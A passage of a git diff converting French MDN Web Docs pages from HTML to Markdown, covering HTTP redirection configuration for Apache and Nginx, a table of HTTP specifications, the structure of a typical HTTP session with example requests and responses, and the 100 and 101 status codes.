L'URL http://example.com/ sera redirigée vers http://www.example.com/, ainsi que les fichiers ou répertoires qui s'y trouvent (http://example.com/index.html sera redirigée vers http://www.example.com/index.html)

+ +

RedirectMatch fait la même chose mais prend une expression régulière pour définir une liste d'URLs concernées:

+ +
RedirectMatch ^/images/(.*)$ http://images.example.com/$1
+ +

Tous les documents dans le répertoire images/ seront redirigés vers un autre domaine.

+ +

Si vous ne souhaitez pas configurer une redirection temporaire, un paramètre supplémentaire (soit le code d'état HTTP à utiliser, soit le mot clé permanent) peut être utilisé pour configurer un autre type de redirection:

+ +
Redirect permanent / http://www.example.com
+Redirect 301 / http://www.example.com
+
+ +

Le module mod_rewrite peut également être utilisé pour créer des redirections. Il est plus flexible, mais un peu plus complexe à utiliser.

+ +

Nginx

+ +

Dans Nginx, vous créez un bloc server spécifique pour le contenu que vous voulez rediriger:

+ +
server {
+	listen 80;
+	server_name example.com;
+	return 301 $scheme://www.example.com$request_uri;
+}
+ +

Pour appliquer une redirection pour un dossier ou un sous-ensemble de pages uniquement, utilisez la directive rewrite:

+ +
rewrite ^/images/(.*)$ http://images.example.com/$1 redirect;
+rewrite ^/images/(.*)$ http://images.example.com/$1 permanent;
+
+ +

IIS

+ +

Dans IIS, vous devez utiliser l'élément <httpRedirect> pour configurer les redirections.

+ +

Boucles de redirection

+ +

Les boucles de redirection se produisent lorsque lorsque les redirections se succèdent en suivant celle déjà effectuée. En d'autres termes, il y a une boucle qui ne terminera jamais et aucune page ne sera finalement trouvée.

+ +

La plupart du temps, il s'agit d'un problème de serveur, et si le serveur ne peut pas le détecter, il renvoie le message {{HTTPStatus("500")}} Internal Server Error. Si vous rencontrez une telle erreur peu après avoir modifié une configuration de serveur, il s'agit probablement d'une boucle de redirection.

+ +

Parfois, le serveur ne le détecte pas : une boucle de redirection peut s'étendre sur plusieurs serveurs qui n'ont pas une vue globale de ce qui se passe. Dans ce cas, les navigateurs le détecteront et afficheront un message d'erreur. Firefox affichera:

+ +
Firefox a détecté que le serveur redirige la demande pour cette adresse d'une manière qui n'aboutira pas.
+
+ +

tandis que Chrome affichera:

+ +
Cette page Web présente une boucle de redirection
+ +

Dans les deux cas, l'utilisateur ne peut pas faire grand-chose (à moins qu'une corruption ne se produise de son côté, comme une inadéquation du cache ou des cookies).

+ +

Il est important d'éviter les boucles de redirection car elles perturbent complètement l'expérience utilisateur.

diff --git a/files/fr/web/http/resources_and_specifications/index.html b/files/fr/web/http/resources_and_specifications/index.html deleted file mode 100644 index 5e1b2dc494..0000000000 --- a/files/fr/web/http/resources_and_specifications/index.html +++ /dev/null @@ -1,268 +0,0 @@ ---- -title: Ressources et spécifications sur HTTP -slug: Web/HTTP/Resources_and_specifications -tags: - - Guide - - HTTP -translation_of: Web/HTTP/Resources_and_specifications ---- -
{{HTTPSidebar}}
- -

HTTP a été spécifié pour la première fois au début des années 1990. Conçu dans un souci d'extensibilité, il a fait l'objet de nombreux ajouts au fil des ans, ce qui a entraîné la dispersion de sa spécification dans de nombreux documents de spécification (au milieu d'extensions expérimentales abandonnées). Cette page répertorie les ressources pertinentes sur HTTP.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationTitreStatut
{{rfc(7230)}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and RoutingProposition de norme
{{rfc(7231)}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and ContentProposition de norme
{{rfc(7232)}}Hypertext Transfer Protocol (HTTP/1.1): Conditional RequestsProposition de norme
{{rfc(7233)}}Hypertext Transfer Protocol (HTTP/1.1): Range RequestsProposition de norme
{{rfc(7234)}}Hypertext Transfer Protocol (HTTP/1.1): CachingProposition de norme
{{rfc(5861)}}HTTP Cache-Control Extensions for Stale ContentInformation
{{rfc(8246)}}HTTP Immutable ResponsesProposition de norme
{{rfc(7235)}}Hypertext Transfer Protocol (HTTP/1.1): AuthenticationProposition de norme
{{rfc(6265)}}HTTP State Management Mechanism
- Defines Cookies		Proposition de norme
Draft specCookie PrefixesIETF Draft
Draft specSame-Site CookiesIETF Draft
Draft specDeprecate modification of 'secure' cookies from non-secure originsIETF Draft
{{rfc(2145)}}Use and Interpretation of HTTP Version NumbersInformation
{{rfc(6585)}}Additional HTTP Status CodesProposition de norme
{{rfc(7538)}}The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)Proposition de norme
{{rfc(7725)}}An HTTP Status Code to Report Legal ObstaclesEn cours de normalisation
{{rfc(2397)}}The "data" URL schemeProposition de norme
{{rfc(3986)}}Uniform Resource Identifier (URI): Generic SyntaxStandard Internet
{{rfc(5988)}}Web Linking
- Defines the {{HTTPHeader("Link")}} header		Proposition de norme
Experimental specHypertext Transfer Protocol (HTTP) Keep-Alive HeaderInformation (Expirée)
Draft specHTTP Client HintsIETF Draft
{{rfc(7578)}}Returning Values from Forms: multipart/form-dataProposition de norme
{{rfc(6266)}}Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)Proposition de norme
{{rfc(2183)}}Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field
- Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages.		Proposition de norme
{{rfc(7239)}}Forwarded HTTP ExtensionProposition de norme
{{rfc(6455)}}The WebSocket ProtocolProposition de norme
{{rfc(5246)}}The Transport Layer Security (TLS) Protocol Version 1.2
- This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol.		Proposition de norme
{{rfc(8446)}}The Transport Layer Security (TLS) Protocol Version 1.3
- Supersedes TLS 1.2.		Proposition de norme
{{rfc(2817)}}Upgrading to TLS Within HTTP/1.1Proposition de norme
{{rfc(7540)}}Hypertext Transfer Protocol Version 2 (HTTP/2)Proposition de norme
{{rfc(7541)}}HPACK: Header Compression for HTTP/2En cours de normalisation
{{rfc(7838)}}HTTP Alternative ServicesEn cours de normalisation
{{rfc(7301)}}Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension
- Used to negotiate HTTP/2 at the transport to save an extra request/response round trip.		Proposition de norme
{{rfc(6454)}}The Web Origin ConceptProposition de norme
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}Cross-Origin Resource Sharing{{Spec2("Fetch")}}
{{rfc(7034)}}HTTP Header Field X-Frame-OptionsInformation
{{rfc(6797)}}HTTP Strict Transport Security (HSTS)Proposition de norme
{{SpecName("Upgrade Insecure Requests")}}Upgrade Insecure Requests{{Spec2("Upgrade Insecure Requests")}}
{{SpecName("CSP 1.0")}}Content Security Policy 1.0
- CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard		{{Spec2("CSP 1.0")}}
Microsoft documentSpecifying legacy document modes*
- Defines X-UA-Compatible		Note
{{rfc(5689)}}HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)
- These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays.		Proposition de norme
{{rfc(2324)}}Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)Spec blague du 1er avril
{{rfc(7168)}}The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)Spec blague du 1er avril
{{SpecName("HTML WHATWG")}}HTML
- Defines extensions of HTTP for Server-Sent Events		{{Spec2("HTML WHATWG")}}
Tracking Preference ExpressionDNT headerEditor's draft / Candidate recommendation
Reporting APIReport-To headerDraft
Draft specExpect-CT Extension for HTTPIETF Draft
diff --git a/files/fr/web/http/resources_and_specifications/index.md b/files/fr/web/http/resources_and_specifications/index.md new file mode 100644 index 0000000000..5e1b2dc494 --- /dev/null +++ b/files/fr/web/http/resources_and_specifications/index.md @@ -0,0 +1,268 @@ +--- +title: Ressources et spécifications sur HTTP +slug: Web/HTTP/Resources_and_specifications +tags: + - Guide + - HTTP +translation_of: Web/HTTP/Resources_and_specifications +--- +
{{HTTPSidebar}}
+ +

HTTP a été spécifié pour la première fois au début des années 1990. Conçu dans un souci d'extensibilité, il a fait l'objet de nombreux ajouts au fil des ans, ce qui a entraîné la dispersion de sa spécification dans de nombreux documents de spécification (au milieu d'extensions expérimentales abandonnées). Cette page répertorie les ressources pertinentes sur HTTP.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationTitreStatut
{{rfc(7230)}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and RoutingProposition de norme
{{rfc(7231)}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and ContentProposition de norme
{{rfc(7232)}}Hypertext Transfer Protocol (HTTP/1.1): Conditional RequestsProposition de norme
{{rfc(7233)}}Hypertext Transfer Protocol (HTTP/1.1): Range RequestsProposition de norme
{{rfc(7234)}}Hypertext Transfer Protocol (HTTP/1.1): CachingProposition de norme
{{rfc(5861)}}HTTP Cache-Control Extensions for Stale ContentInformation
{{rfc(8246)}}HTTP Immutable ResponsesProposition de norme
{{rfc(7235)}}Hypertext Transfer Protocol (HTTP/1.1): AuthenticationProposition de norme
{{rfc(6265)}}HTTP State Management Mechanism
+ Defines Cookies		Proposition de norme
Draft specCookie PrefixesIETF Draft
Draft specSame-Site CookiesIETF Draft
Draft specDeprecate modification of 'secure' cookies from non-secure originsIETF Draft
{{rfc(2145)}}Use and Interpretation of HTTP Version NumbersInformation
{{rfc(6585)}}Additional HTTP Status CodesProposition de norme
{{rfc(7538)}}The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)Proposition de norme
{{rfc(7725)}}An HTTP Status Code to Report Legal ObstaclesEn cours de normalisation
{{rfc(2397)}}The "data" URL schemeProposition de norme
{{rfc(3986)}}Uniform Resource Identifier (URI): Generic SyntaxStandard Internet
{{rfc(5988)}}Web Linking
+ Defines the {{HTTPHeader("Link")}} header		Proposition de norme
Experimental specHypertext Transfer Protocol (HTTP) Keep-Alive HeaderInformation (Expirée)
Draft specHTTP Client HintsIETF Draft
{{rfc(7578)}}Returning Values from Forms: multipart/form-dataProposition de norme
{{rfc(6266)}}Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)Proposition de norme
{{rfc(2183)}}Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field
+ Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages.		Proposition de norme
{{rfc(7239)}}Forwarded HTTP ExtensionProposition de norme
{{rfc(6455)}}The WebSocket ProtocolProposition de norme
{{rfc(5246)}}The Transport Layer Security (TLS) Protocol Version 1.2
+ This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol.		Proposition de norme
{{rfc(8446)}}The Transport Layer Security (TLS) Protocol Version 1.3
+ Supersedes TLS 1.2.		Proposition de norme
{{rfc(2817)}}Upgrading to TLS Within HTTP/1.1Proposition de norme
{{rfc(7540)}}Hypertext Transfer Protocol Version 2 (HTTP/2)Proposition de norme
{{rfc(7541)}}HPACK: Header Compression for HTTP/2En cours de normalisation
{{rfc(7838)}}HTTP Alternative ServicesEn cours de normalisation
{{rfc(7301)}}Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension
+ Used to negotiate HTTP/2 at the transport to save an extra request/response round trip.		Proposition de norme
{{rfc(6454)}}The Web Origin ConceptProposition de norme
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}Cross-Origin Resource Sharing{{Spec2("Fetch")}}
{{rfc(7034)}}HTTP Header Field X-Frame-OptionsInformation
{{rfc(6797)}}HTTP Strict Transport Security (HSTS)Proposition de norme
{{SpecName("Upgrade Insecure Requests")}}Upgrade Insecure Requests{{Spec2("Upgrade Insecure Requests")}}
{{SpecName("CSP 1.0")}}Content Security Policy 1.0
+ CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard		{{Spec2("CSP 1.0")}}
Microsoft documentSpecifying legacy document modes*
+ Defines X-UA-Compatible		Note
{{rfc(5689)}}HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)
+ These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays.		Proposition de norme
{{rfc(2324)}}Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)Spec blague du 1er avril
{{rfc(7168)}}The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)Spec blague du 1er avril
{{SpecName("HTML WHATWG")}}HTML
+ Defines extensions of HTTP for Server-Sent Events		{{Spec2("HTML WHATWG")}}
Tracking Preference ExpressionDNT headerEditor's draft / Candidate recommendation
Reporting APIReport-To headerDraft
Draft specExpect-CT Extension for HTTPIETF Draft
diff --git a/files/fr/web/http/session/index.html b/files/fr/web/http/session/index.html deleted file mode 100644 index 28fd60d637..0000000000 --- a/files/fr/web/http/session/index.html +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: Une session HTTP typique -slug: Web/HTTP/Session -tags: - - HTTP - - Session - - Session HTTP -translation_of: Web/HTTP/Session ---- -
{{HTTPSidebar}}
- -

Dans les protocoles client-serveur, comme HTTP, les sessions se composent de trois phases :

- -
    -
  1. Le client établit une connexion TCP (ou la connexion appropriée si la couche de transport n'est pas TCP).
    2. -
  2. Le client envoie sa requête et attend la réponse.
    3. -
  3. Le serveur traite la requête, renvoyant sa réponse, fournissant un code d'état et des données appropriées.
    4. -
- -

À partir de HTTP / 1.1, la connexion n'est plus fermée après avoir terminé la troisième phase, et le client peut à nouveau effectuer une requête : cela signifie que la deuxième et la troisième phases peuvent maintenant être effectuées à tout moment.

- -

Établir une connexion

- -

Dans les protocoles client-serveur, c'est le client qui établit la connexion. L'ouverture d'une connexion en HTTP signifie l'initiation d'une connexion dans la couche de transport sous-jacente, généralement TCP.

- -

Avec TCP, le port par défaut, pour un serveur HTTP sur un ordinateur, est le port 80. D'autres ports peuvent également être utilisés, comme 8000 ou 8080. L'URL d'une page à récupérer contient à la fois le nom de domaine et le numéro de port, Ce dernier peut être omis s'il en est à 80. Voir Identifying resources on the Web pour plus de details.

- -
-

Note : Le modèle client-serveur n'autorise pas le serveur à envoyer des données au client sans une demande explicite. Pour contourner ce problème, les développeurs Web utilisent plusieurs techniques: effectuer un ping sur le serveur périodiquement via le {{domxref("XMLHTTPRequest")}}, {{domxref("Fetch")}} API, en utilisant le HTML WebSockets API, ou des protocoles similaires. -

-
- -

Envoi d'une demande client

- -

Une fois la connexion établie, l'agent utilisateur peut envoyer la demande (un agent utilisateur est généralement un navigateur Web, mais peut être autre chose, un robot d'exploration, par exemple). Une demande de client consiste en des directives de texte, séparées par CRLF (retour de chariot, suivi d'une alimentation en ligne), divisé en trois blocs :

- -
    -
  1. La première ligne contient une méthode de demande suivie de ses paramètres: - -
      -
    • le chemin d'accès du document, c'est-à-dire une URL absolue sans le protocole ou le nom de domaine
      • -
    • la version du protocole HTTP
      • -
    -
    2. -
  2. Les lignes subséquentes représentent un en-tête HTTP, ce qui donne aux informations du serveur quel type de données est approprié (par exemple, quelle langue, quels types MIME) ou d'autres données modifient son comportement (par exemple, ne pas envoyer de réponse s'il est déjà mis en cache). Ces en-têtes HTTP forment un bloc qui se termine par une ligne vide.
    3. -
  3. Le bloc final est un bloc de données facultatif, qui peut contenir d'autres données principalement utilisées par la méthode POST.
    4. -
- -

Demandes d'exemple

- -

Obtenir la page racine de developer.mozilla.org, c'est-à-dire http://developer.mozilla.org/, et dire au serveur que l'utilisateur-agent préférerait la page en français si possible :

- -
GET / HTTP/1.1
-Host: developer.mozilla.org
-Accept-Language: fr
-
-
- -

Observez cette dernière ligne vide, ceci sépare le bloc de données du bloc d'en-tête. Comme il n'y a pas de Content-Length fourni dans un en-tête HTTP, ce bloc de données est présenté vide, marquant la fin des en-têtes, permettant au serveur de traiter la demande le moment où elle reçoit cette ligne vide.

- -

Par exemple, en envoyant le résultat d'un formulaire :

- -
POST /contact_form.php HTTP/1.1
-Host: developer.mozilla.org
-Content-Length: 64
-Content-Type: application/x-www-form-urlencoded
-
-name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue
-
- -

Méthodes de demande

- -

HTTP définit un ensemble de méthodes de requête indiquant l'action souhaitée à effectuer sur une ressource. Bien qu'ils puissent également être des noms, ces méthodes de requêtes sont parfois appelées verbes HTTP. Les requêtes les plus courantes sont GET et POST :

- - - -

Structure d'une réponse du serveur

- -

Une fois que l'agent connecté a envoyé sa requête, le serveur Web le traite et finalement renvoie une réponse. Similaire à une demande de client, une réponse de serveur est formée de directives de texte, séparées par CRLF, mais divisées en trois blocs :

- -
    -
  1. - La première ligne, la ligne d'état, consiste en une reconnaissance de la version HTTP utilisée, suivie d'une demande d'état (et sa brève signification dans un texte lisible par l'homme). -
    2. -
  2. Les lignes suivantes représentent des en-têtes HTTP spécifiques, en donnant aux clients des informations sur les données envoyées (par exemple, type, taille de données, algorithme de compression utilisé, conseils sur la mise en cache). De la même manière que le bloc d'en-têtes HTTP pour une demande de client, ces en-têtes HTTP forment un bloc se terminant par une ligne vide.
    3. -
  3. Le dernier bloc est un bloc de données, qui contient les données facultatives.
    4. -
- -

Examples de réponses

- -

Réponse réussie de la page Web :

- -
HTTP/1.1 200 OK
-Date: Sat, 09 Oct 2010 14:28:02 GMT
-Server: Apache
-Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
-ETag: "51142bc1-7449-479b075b2891b"
-Accept-Ranges: bytes
-Content-Length: 29769
-Content-Type: text/html
-
-<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
-
-
- -

Notification selon laquelle la ressource demandée a été définitivement déplacé ( en permanence ) :

- -
HTTP/1.1 301 Moved Permanently
-Server: Apache/2.2.3 (Red Hat)
-Content-Type: text/html; charset=iso-8859-1
-Date: Sat, 09 Oct 2010 14:30:24 GMT
-Location: https://developer.mozilla.org/ (this is the new link to the resource; it is expected that the user-agent will fetch it)
-Keep-Alive: timeout=15, max=98
-Accept-Ranges: bytes
-Via: Moz-Cache-zlb05
-Connection: Keep-Alive
-X-Cache-Info: caching
-X-Cache-Info: caching
-Content-Length: 325 (the content contains a default page to display if the user-agent is not able to follow the link)
-
-<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
-<html><head>
-<title>301 Moved Permanently</title>
-</head><body>
-<h1>Moved Permanently</h1>
-<p>The document has moved <a href="https://developer.mozilla.org/">here</a>.</p>
-<hr>
-<address>Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80</address>
-</body></html>
-
-
- -

Notification selon laquelle la ressource demandée n'existe pas :

- -
HTTP/1.1 404 Not Found
-Date: Sat, 09 Oct 2010 14:33:02 GMT
-Server: Apache
-Last-Modified: Tue, 01 May 2007 14:24:39 GMT
-ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1"
-Accept-Ranges: bytes
-Content-Length: 10732
-Content-Type: text/html
-
-<!DOCTYPE html... (contains a site-customized page helping the user to find the missing resource)
-
-
- -

Codes d'état de réponse

- -

Les codes d'état de réponse HTTP indiquent si une requête HTTP spécifique a été effectuée avec succès. Les réponses sont regroupées en cinq classes: réponses d'information, réponses réussies, redirections, erreurs de client et erreurs de serveurs.

- - - -

Voir aussi

- - diff --git a/files/fr/web/http/session/index.md b/files/fr/web/http/session/index.md new file mode 100644 index 0000000000..28fd60d637 --- /dev/null +++ b/files/fr/web/http/session/index.md @@ -0,0 +1,168 @@ +--- +title: Une session HTTP typique +slug: Web/HTTP/Session +tags: + - HTTP + - Session + - Session HTTP +translation_of: Web/HTTP/Session +--- +
{{HTTPSidebar}}
+ +

Dans les protocoles client-serveur, comme HTTP, les sessions se composent de trois phases :

+ +
    +
  1. Le client établit une connexion TCP (ou la connexion appropriée si la couche de transport n'est pas TCP).
    2. +
  2. Le client envoie sa requête et attend la réponse.
    3. +
  3. Le serveur traite la requête, renvoyant sa réponse, fournissant un code d'état et des données appropriées.
    4. +
+ +

À partir de HTTP / 1.1, la connexion n'est plus fermée après avoir terminé la troisième phase, et le client peut à nouveau effectuer une requête : cela signifie que la deuxième et la troisième phases peuvent maintenant être effectuées à tout moment.

+ +

Établir une connexion

+ +

Dans les protocoles client-serveur, c'est le client qui établit la connexion. L'ouverture d'une connexion en HTTP signifie l'initiation d'une connexion dans la couche de transport sous-jacente, généralement TCP.

+ +

Avec TCP, le port par défaut, pour un serveur HTTP sur un ordinateur, est le port 80. D'autres ports peuvent également être utilisés, comme 8000 ou 8080. L'URL d'une page à récupérer contient à la fois le nom de domaine et le numéro de port, Ce dernier peut être omis s'il en est à 80. Voir Identifying resources on the Web pour plus de details.

+ +
+

Note : Le modèle client-serveur n'autorise pas le serveur à envoyer des données au client sans une demande explicite. Pour contourner ce problème, les développeurs Web utilisent plusieurs techniques: effectuer un ping sur le serveur périodiquement via le {{domxref("XMLHTTPRequest")}}, {{domxref("Fetch")}} API, en utilisant le HTML WebSockets API, ou des protocoles similaires. +

+
+ +

Envoi d'une demande client

+ +

Une fois la connexion établie, l'agent utilisateur peut envoyer la demande (un agent utilisateur est généralement un navigateur Web, mais peut être autre chose, un robot d'exploration, par exemple). Une demande de client consiste en des directives de texte, séparées par CRLF (retour de chariot, suivi d'une alimentation en ligne), divisé en trois blocs :

+ +
    +
  1. La première ligne contient une méthode de demande suivie de ses paramètres: + +
      +
    • le chemin d'accès du document, c'est-à-dire une URL absolue sans le protocole ou le nom de domaine
      • +
    • la version du protocole HTTP
      • +
    +
    2. +
  2. Les lignes subséquentes représentent un en-tête HTTP, ce qui donne aux informations du serveur quel type de données est approprié (par exemple, quelle langue, quels types MIME) ou d'autres données modifient son comportement (par exemple, ne pas envoyer de réponse s'il est déjà mis en cache). Ces en-têtes HTTP forment un bloc qui se termine par une ligne vide.
    3. +
  3. Le bloc final est un bloc de données facultatif, qui peut contenir d'autres données principalement utilisées par la méthode POST.
    4. +
+ +

Demandes d'exemple

+ +

Obtenir la page racine de developer.mozilla.org, c'est-à-dire http://developer.mozilla.org/, et dire au serveur que l'utilisateur-agent préférerait la page en français si possible :

+ +
GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
+
+
+ +

Observez cette dernière ligne vide, ceci sépare le bloc de données du bloc d'en-tête. Comme il n'y a pas de Content-Length fourni dans un en-tête HTTP, ce bloc de données est présenté vide, marquant la fin des en-têtes, permettant au serveur de traiter la demande le moment où elle reçoit cette ligne vide.

+ +

Par exemple, en envoyant le résultat d'un formulaire :

+ +
POST /contact_form.php HTTP/1.1
+Host: developer.mozilla.org
+Content-Length: 64
+Content-Type: application/x-www-form-urlencoded
+
+name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue
+
+ +

Méthodes de demande

+ +

HTTP définit un ensemble de méthodes de requête indiquant l'action souhaitée à effectuer sur une ressource. Bien qu'ils puissent également être des noms, ces méthodes de requêtes sont parfois appelées verbes HTTP. Les requêtes les plus courantes sont GET et POST :

+ + + +

Structure d'une réponse du serveur

+ +

Une fois que l'agent connecté a envoyé sa requête, le serveur Web le traite et finalement renvoie une réponse. Similaire à une demande de client, une réponse de serveur est formée de directives de texte, séparées par CRLF, mais divisées en trois blocs :

+ +
    +
  1. + La première ligne, la ligne d'état, consiste en une reconnaissance de la version HTTP utilisée, suivie d'une demande d'état (et sa brève signification dans un texte lisible par l'homme). +
    2. +
  2. Les lignes suivantes représentent des en-têtes HTTP spécifiques, en donnant aux clients des informations sur les données envoyées (par exemple, type, taille de données, algorithme de compression utilisé, conseils sur la mise en cache). De la même manière que le bloc d'en-têtes HTTP pour une demande de client, ces en-têtes HTTP forment un bloc se terminant par une ligne vide.
    3. +
  3. Le dernier bloc est un bloc de données, qui contient les données facultatives.
    4. +
+ +

Examples de réponses

+ +

Réponse réussie de la page Web :

+ +
HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
+
+
+ +

Notification selon laquelle la ressource demandée a été définitivement déplacé ( en permanence ) :

+ +
HTTP/1.1 301 Moved Permanently
+Server: Apache/2.2.3 (Red Hat)
+Content-Type: text/html; charset=iso-8859-1
+Date: Sat, 09 Oct 2010 14:30:24 GMT
+Location: https://developer.mozilla.org/ (this is the new link to the resource; it is expected that the user-agent will fetch it)
+Keep-Alive: timeout=15, max=98
+Accept-Ranges: bytes
+Via: Moz-Cache-zlb05
+Connection: Keep-Alive
+X-Cache-Info: caching
+X-Cache-Info: caching
+Content-Length: 325 (the content contains a default page to display if the user-agent is not able to follow the link)
+
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
+<html><head>
+<title>301 Moved Permanently</title>
+</head><body>
+<h1>Moved Permanently</h1>
+<p>The document has moved <a href="https://developer.mozilla.org/">here</a>.</p>
+<hr>
+<address>Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80</address>
+</body></html>
+
+
+ +

Notification selon laquelle la ressource demandée n'existe pas :

+ +
HTTP/1.1 404 Not Found
+Date: Sat, 09 Oct 2010 14:33:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 May 2007 14:24:39 GMT
+ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1"
+Accept-Ranges: bytes
+Content-Length: 10732
+Content-Type: text/html
+
+<!DOCTYPE html... (contains a site-customized page helping the user to find the missing resource)
+
+
+ +

Codes d'état de réponse

+ +

Les codes d'état de réponse HTTP indiquent si une requête HTTP spécifique a été effectuée avec succès. Les réponses sont regroupées en cinq classes: réponses d'information, réponses réussies, redirections, erreurs de client et erreurs de serveurs.

+ + + +

Voir aussi

+ + diff --git a/files/fr/web/http/status/100/index.html b/files/fr/web/http/status/100/index.html deleted file mode 100644 index 5753540189..0000000000 --- a/files/fr/web/http/status/100/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: 100 Continue -slug: Web/HTTP/Status/100 -tags: - - Code de statut - - HTTP - - Informational -translation_of: Web/HTTP/Status/100 ---- -
{{HTTPSidebar}}
- -

Le code de statut de réponse HTTP 100 Continue indique que, jusqu'à présent, tout est normal (OK) et que le client doit poursuivre avec la requête ou l'ignorer si celle-ci est déjà finie.

- -

Afin que le serveur vérifie les en-têtes des requêtes, un client doit envoyer {{HTTPHeader("Expect")}} : 100-continue comme en-tête dans la requête initiale et recevoir le code de statut  100 Continue comme réponse avant d'envoyer le corps de la requête.

- -

Statut

- -
100 Continue
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "100 Continue" , "6.2.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- -

{{Compat("http/status", "100")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/status/100/index.md b/files/fr/web/http/status/100/index.md new file mode 100644 index 0000000000..5753540189 --- /dev/null +++ b/files/fr/web/http/status/100/index.md @@ -0,0 +1,44 @@ +--- +title: 100 Continue +slug: Web/HTTP/Status/100 +tags: + - Code de statut + - HTTP + - Informational +translation_of: Web/HTTP/Status/100 +--- +
{{HTTPSidebar}}
+ +

Le code de statut de réponse HTTP 100 Continue indique que, jusqu'à présent, tout est normal (OK) et que le client doit poursuivre avec la requête ou l'ignorer si celle-ci est déjà finie.

+ +

Afin que le serveur vérifie les en-têtes des requêtes, un client doit envoyer {{HTTPHeader("Expect")}} : 100-continue comme en-tête dans la requête initiale et recevoir le code de statut  100 Continue comme réponse avant d'envoyer le corps de la requête.

+ +

Statut

+ +
100 Continue
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "100 Continue" , "6.2.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ +

{{Compat("http/status", "100")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/status/101/index.html b/files/fr/web/http/status/101/index.html deleted file mode 100644 index 7f8aa0307e..0000000000 --- a/files/fr/web/http/status/101/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: 101 Switching Protocol -slug: Web/HTTP/Status/101 -tags: - - Code de statut - - HTTP - - Informatif - - Reference - - WebSockets -translation_of: Web/HTTP/Status/101 ---- -
{{HTTPSidebar}}
- -

Le code de réponse HTTP 101 Switching Protocol indique que le protocole a changé, comme demandé par le client via l'en-tête {{HTTPHeader("Upgrade")}}.

- -

Le serveur envoie alors une réponse avec un en-tête {{HTTPHeader("Upgrade")}} qui indique le nouveau protocole utilisé.

- -

Statut

- -
101 Switching Protocol
- -

Exemples

- -

Les changements de protocole peuvent être utilisés avec WebSockets.

- -
HTTP/1.1 101 Switching Protocols
-Upgrade: websocket
-Connection: Upgrade
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

